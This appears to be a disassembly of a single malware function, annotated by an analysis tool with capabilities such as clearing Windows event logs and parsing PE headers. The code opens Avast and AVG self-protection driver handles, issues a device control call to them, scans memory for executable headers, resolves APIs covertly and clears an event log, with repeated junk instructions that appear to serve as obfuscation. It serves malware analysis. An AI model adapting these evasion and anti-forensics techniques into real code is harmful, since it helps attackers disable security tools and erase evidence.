Function at 0x609050
Capabilities:
Access the windows event log
Clear windows event logs
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
push ebx
push esi
push edi
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x30], 0x5a4d
mov dword [ebp - 0x14], 0x4550
mov dword [ebp - 4], 0
mov dword [ebp - 0x18], 0xffffffff
mov dword [ebp - 0x38], 0
mov byte [ebp - 0x2c], 0
mov dword [ebp - 0x28], str.DC128E54_0B35_8124_6B40_50074291459A
mov edi, 0xc0000002
mov eax, edi
mov ebx, edi
test dword [ebp - 0x10], ebx
sete cl
lea esi, [ebp - 0x24]
movzx ebx, word [esi + 3]
mov ebx, dword [esi]
xor esi, ebx
inc ebx
or ebx, 5
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
push str.._aswSP_Open
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 8], eax
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
push str.._avgSP_Open
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0xc], eax
mov edi, 0xc0000002
mov eax, edi
mov ebx, edi
test dword [ebp - 0x10], ebx
sete cl
lea esi, [ebp - 0x24]
movzx ebx, word [esi + 3]
mov ebx, dword [esi]
xor esi, ebx
inc ebx
or ebx, 5
mov eax, dword [ebp - 8]
cmp eax, dword [ebp - 0xc]
je 0x60918c
mov edi, 0xc0000002
mov eax, edi
mov ebx, edi
test dword [ebp - 0x10], ebx
sete cl
lea esi, [ebp - 0x24]
movzx ebx, word [esi + 3]
mov ebx, dword [esi]
xor esi, ebx
inc ebx
or ebx, 5
mov ecx, dword [ebp - 8]
cmp ecx, dword [ebp - 0xc]
jae 0x609165
mov edx, dword [ebp - 8]
mov dword [ebp - 4], edx
jmp 0x60916b
mov eax, dword [ebp - 0xc]
mov dword [ebp - 4], eax
mov edi, 0xc0000002
mov eax, edi
mov ebx, edi
test dword [ebp - 0x10], ebx
sete cl
lea esi, [ebp - 0x24]
movzx ebx, word [esi + 3]
mov ebx, dword [esi]
xor esi, ebx
inc ebx
or ebx, 5
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp + 0xc]
mov dword [ebp - 0x34], edx
cmp dword [ebp - 4], 0
je 0x6092ab
push 0
lea eax, [ebp - 0x24]
push eax
push 0
push 0
push 0
push 0
push 0x7afd000c
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov edi, 0xc0000002
mov eax, edi
mov ebx, edi
test dword [ebp - 0x10], ebx
sete cl
lea esi, [ebp - 0x24]
movzx ebx, word [esi + 3]
mov ebx, dword [esi]
xor esi, ebx
inc ebx
or ebx, 5
mov edx, dword [ebp - 0x20]
add edx, 0x1000
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0x20]
mov dword [0x614e8c], eax
push 0x210
mov ecx, dword [0x614e8c]
push ecx
call dword [ebp - 0x1c]
test eax, eax
jne 0x60929e
mov edx, dword [ebp - 0x20]
xor eax, eax
mov ax, word [edx]
cmp eax, dword [ebp - 0x30]
je 0x60921d
jmp 0x60929e
mov ecx, dword [0x614e8c]
mov edx, dword [ebp - 0x20]
add edx, dword [ecx + 0x3c]
mov dword [0x615068], edx
mov eax, dword [0x615068]
xor ecx, ecx
mov cx, word [eax]
cmp ecx, dword [ebp - 0x14]
je 0x609240
jmp 0x60929e
mov edx, dword [0x614e88]
add edx, 1
mov dword [0x614e88], edx
mov eax, dword [0x615068]
mov ecx, dword [eax + 8]
mov dword [ebp - 8], ecx
cmp dword [ebp - 8], 0x5bec64eb
je 0x609275
cmp dword [ebp - 8], 0x5d81f1e3
je 0x609275
cmp dword [ebp - 8], 0x5d91be30
jne 0x60928d
mov edx, dword [ebp + 0xc]
push edx
call fcn.00608d40
add esp, 4
call fcn.00609030
mov dword [ebp - 0x20], eax
int3
push str.CsrCaptureMessageBuffer
mov eax, dword [ebp - 0x20]
push eax
call dword [ebp - 0x34]
mov dword [0x614c30], eax
cmp dword [0x614c30], 0
je 0x6091e0
push 0
push 0
push str.appwiz.cpl
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x6092e8
push str.ConfigStartMenu
mov ecx, dword [ebp - 4]
push ecx
call dword [ebp - 0x34]
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0
je 0x6092e8
push str.DCGJ12_windows_title
push 0
call dword [sym.imp.ADVAPI32.dll_OpenEventLogA]
mov dword [ebp - 0x18], eax
mov edi, 0xc0000002
mov eax, edi
mov ebx, edi
test dword [ebp - 0x10], ebx
sete cl
lea esi, [ebp - 0x24]
movzx ebx, word [esi + 3]
mov ebx, dword [esi]
xor esi, ebx
inc ebx
or ebx, 5
cmp dword [ebp - 0x18], 0xffffffff
je 0x6093a7
push 0
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.ADVAPI32.dll_ClearEventLogW]
mov edi, dword [ebp - 0x38]
xor eax, eax
xor ebx, ebx
mov dword [ebp - 0x38], eax
xor al, byte [edi]
sub edi, eax
xor al, byte [edi]
sub edi, eax
xor al, byte [edi]
sub edi, eax
xor al, byte [edi]
mov dword [ebp - 0x20], eax
mov eax, dword [0x614f58]
and eax, 0xff
mov ecx, dword [ebp - 0x20]
xor ecx, eax
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp + 0xc]
push edx
call fcn.00608d40
add esp, 4
mov ecx, dword [ebp - 0x20]
xor ecx, eax
mov dword [ebp - 0x20], ecx
cmp dword [ebp - 0x20], 0x71
jne 0x609379
call fcn.00482d80
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
xor eax, eax
jmp 0x6093a9
push 0
call dword [sym.imp.ADVAPI32.dll_AllocateLocallyUniqueId]
test eax, eax
jne 0x609393
push str.Msoert2.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 4], eax
push str.CreateTempFile
mov eax, dword [ebp - 4]
push eax
call dword [ebp - 0x34]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
jmp 0x6093a9
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret